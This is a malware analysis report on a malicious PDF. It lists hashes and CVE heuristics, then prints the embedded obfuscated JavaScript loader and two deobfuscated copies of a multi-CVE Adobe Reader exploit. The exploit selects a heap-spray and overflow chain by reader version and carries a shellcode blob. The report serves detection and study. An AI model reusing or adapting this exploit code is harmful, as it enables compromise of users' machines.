Malicious PDF — malware analysis report

Static analysis result for SHA-256 f55d78ed4e147549…

MALICIOUS

PDF

33.0 KB Created: 2010-07-25 10:32:51 First seen: 2013-03-04
MD5: a39ff177ae245c06518a2cab7f639c44 SHA-1: fdd4547c79019b95048c011c37ece3de5ac5bb24 SHA-256: f55d78ed4e147549328605f442f02a678be6458430183453fceb08975efa65cf
448 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to exploit PDF reader vulnerabilities or download secondary payloads. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to execute malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7FF6 802 bytes
SHA-256: fdeca34759d474b4b1b8328c5726f22dc356d27bc31c9424fcfad341f0e77d5e
Preview script
First 1,000 lines of the extracted script
function kshav(gng){
	return Math.floor(gng/2);
};
var a = function() {
gbjtf = (function(){return this;})();
pkzn = new Date();
var blu='';
var tdq = 'e'+(parseInt(pkzn.getDay()))+'a'+blu+'l';
tdq = tdq.replace('6','v');
zdste=gbjtf[tdq];
	var rhsr='';
	var blu='';
	zdste('va'+blu+'r gke=th'+blu+'i'+blu+'s');
	zdste(''+blu+' bhd=Str'+blu+'ing.f'+blu+'romC'+blu+'harCode');
	oyuv='pr' + blu + pkzn.getMonth() + blu + 'uc' +'er';
	oyuv = oyuv.replace('11', 'od');
	var wyg = gke[oyuv];
	zjmhr = blu;
	zdste('va'+zjmhr+'r n' + blu + 'r=[' + wyg + zjmhr + ']');
	cip = nr;
	vcwe='le'+blu+'ng'+blu+'th';
	xtfzv = parseInt(cip[vcwe]);
	blu = 0;
	while (blu < xtfzv) {
		rhsr += bhd(cip[kshav(blu)+kshav(xtfzv)] - cip[kshav(blu)]);
		blu += 2;
	}
	zdste(rhsr);
};
a.call();
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3636 bytes
SHA-256: 3f2ac8fbff8d6c0dd2533407b40da7ba64ac9edba44f1afa9cd000bebdf45a7c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8034%ue2aa%uc3fa%ue5e8%uffff%u69ff%u818c%u8080%u01de%udc6c%u8081%u0980%u0d67%u90cf%uef0d%ub1d4%ud75b%ud3d1%ud3d3%ud3d3%ud3d3%ud3d5%ue8d3%u8184%u8080%ud6d5%ue8d3%ueeef%u8080%uf5e8%uecf2%ud4ed%u0ee8%u8ece%u686c%u80c8%u8080%u68d0%u80fc%u8080%u507f%u4403%ue888%u6fcf%u85cf%u68d0%u80ec%u8080%u507f%u4005%u97f5%ud4ea%u73d9%ue82a%u7ef2%u9633%u9d68%u8080%ud080%ud168%u8080%u7f80%ud350%u7eea%u09e8%u81ef%u683d%u8088%u8080%u68d0%u80bc%u8080%u507f%ub1e0%ue440%ud00b%u0bb0%u8cd2%ud20b%u0b94%ua8f2%u9839%u8080%ub180%ub17f%u2c40%ue1bc%u82fc%ua0ac%u4f41%u818d%u6247%u0170%udb7f%uca3c%u0bea%u90c2%u920b%u59f5%uc409%u9ca4%u43e1%u0be0%ua4ec%u0ba4%ubcc5%ud40b%uf885%u6a81%uca0b%u0b98%ua0da%u6b81%ub463%u0bc9%u0bb4%u6e81%u7fb1%u40b1%u2c7c%u4004%u87f4%u4f41%u818d%u6b47%ubb74%ua4fc%uf5a8%u0b61%ua4da%u6b81%u0be6%ucb8c%uda0b%u819c%u0b6b%u0b84%u6881%uc409%u9ca4%u42e1%u8088%u6f68%u7f7e%ue87f%uf4f4%ubaf0%uafaf%ue6e3%uf4b3%ue3ae%uaeef%ue3e3%ue4af%uf0ae%uf0e8%ue6bf%ub2bd%ua6b1%ubde5%u80b3';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3632 bytes
SHA-256: 8416dd5e26e80ab71276fcaa19c9c60390fec42d565f72b1c52bdd71d90a921d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8034%ue2aa%uc3fa%ue5e8%uffff%u69ff%u818c%u8080%u01de%udc6c%u8081%u0980%u0d67%u90cf%uef0d%ub1d4%ud75b%ud3d1%ud3d3%ud3d3%ud3d3%ud3d5%ue8d3%u8184%u8080%ud6d5%ue8d3%ueeef%u8080%uf5e8%uecf2%ud4ed%u0ee8%u8ece%u686c%u80c8%u8080%u68d0%u80fc%u8080%u507f%u4403%ue888%u6fcf%u85cf%u68d0%u80ec%u8080%u507f%u4005%u97f5%ud4ea%u73d9%ue82a%u7ef2%u9633%u9d68%u8080%ud080%ud168%u8080%u7f80%ud350%u7eea%u09e8%u81ef%u683d%u8088%u8080%u68d0%u80bc%u8080%u507f%ub1e0%ue440%ud00b%u0bb0%u8cd2%ud20b%u0b94%ua8f2%u9839%u8080%ub180%ub17f%u2c40%ue1bc%u82fc%ua0ac%u4f41%u818d%u6247%u0170%udb7f%uca3c%u0bea%u90c2%u920b%u59f5%uc409%u9ca4%u43e1%u0be0%ua4ec%u0ba4%ubcc5%ud40b%uf885%u6a81%uca0b%u0b98%ua0da%u6b81%ub463%u0bc9%u0bb4%u6e81%u7fb1%u40b1%u2c7c%u4004%u87f4%u4f41%u818d%u6b47%ubb74%ua4fc%uf5a8%u0b61%ua4da%u6b81%u0be6%ucb8c%uda0b%u819c%u0b6b%u0b84%u6881%uc409%u9ca4%u42e1%u8088%u6f68%u7f7e%ue87f%uf4f4%ubaf0%uafaf%ue6e3%uf4b3%ue3ae%uaeef%ue3e3%ue4af%uf0ae%uf0e8%ue6bf%ub2bd%ua6b1%ubde5%u80b3';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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